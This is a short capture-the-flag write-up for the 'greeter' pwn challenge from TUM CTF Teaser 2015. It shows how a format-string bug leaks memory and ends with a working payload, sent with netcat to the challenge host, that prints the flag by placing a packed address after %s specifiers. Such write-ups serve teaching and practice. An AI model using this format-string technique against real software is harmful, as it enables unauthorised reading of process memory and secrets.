[](ctf=tum-ctf-teaser-2015)[](type=pwn)[](tags=format-string)
#greeter (pwn 15)
```bash$ file ./greeter./greeter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2657dbbc9fbf7a266d2d963b4644d1c3b44d8304, not stripped```So we have a not stripped file.
```bash$ ./greeter Hi, what's your name?AAAAAPwn harder, AAAAA!```We can send in a name. It suffers form format string vulnerability.```$ ./greeter Hi, what's your name?%x.%xPwn harder, b5eeae30.7227d7a0!```A little bit of analysis shows that the file reads in flag.txt to an address called flag which is not on the stack. Its on the heap. Since it is not on the stack we can't use repeated %x to read it. Also since the file is not stripped we can see the locations of each variable.```bashgdb-peda$ p &flag $1 = (char (*)[256]) 0x600ca0 <flag>```
%s is a format specifier that prints out a string ftarting from a given pointer.Now just figure out the offset.
```bash$ python -c 'print "%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.AAAA"' | ./greeter Hi, what's your name?Pwn harder, ffa0b88010c3b7a0.1096f620.10e32700.78252e78.78257825.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.41414141.0.0.0.0.0.0.AAAA!````
Payload format:> format_string+p64(address)
```>>> p64(0x600ca0)'\xa0\x0c`\x00\x00\x00\x00\x00'```
Finally```bash$ python -c 'print "%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s.%x.%x.%x.%x.%x.%x.\xa0\x0c`\x00\x00\x00\x00\x00"' | nc 1.ctf.link 1030Hi, what's your name?Pwn harder, 720fe23030bcc7a0.30900620.30dea700.78252e78.78257825.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.hxp{f0rm4t_sTr1ngs_r0ck}.a.0.0.0.0.0.�              `!```
Flag> hxp{f0rm4t_sTr1ngs_r0ck}